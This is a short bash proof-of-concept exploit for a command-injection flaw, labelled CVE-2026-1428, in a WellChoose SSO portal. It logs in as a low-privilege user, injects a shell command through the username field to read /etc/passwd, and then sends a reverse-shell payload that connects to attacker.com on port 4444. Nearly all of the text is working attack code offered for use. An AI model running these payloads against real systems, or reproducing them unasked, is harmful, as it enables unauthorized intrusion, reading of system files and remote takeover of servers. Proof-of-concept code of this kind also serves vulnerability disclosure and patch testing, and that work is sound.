CVE-2026-1428

#!/bin/bash # CVE-2026-1428 PoC - WellChoose SSO Portal System Command Injection # Authentication required (low privilege user) TARGET="https://target.example.com/sso" USERNAME="attacker" PASSWORD="password123" # Login to obtain session cookie SESSION=$(curl -s -c cookies.txt -d "username=$USERNAME&password=$PASSWORD" \ "$TARGET/login" | grep -oP 'session=\K[^;]+') # Command injection payload - extract passwd file PAYLOAD="; cat /etc/passwd #" curl -s -b cookies.txt \ -d "username=$PAYLOAD&action=profile" \ "$TARGET/user/update" | grep "root:" # Reverse shell payload example REVERSE_PAYLOAD="; bash -i >& /dev/tcp/attacker.com/4444 0>&1 #" curl -s -b cookies.txt \ -d "username=$REVERSE_PAYLOAD&action=config" \ "$TARGET/system/settings" echo "[+] Exploitation attempted. Check listener on port 4444"

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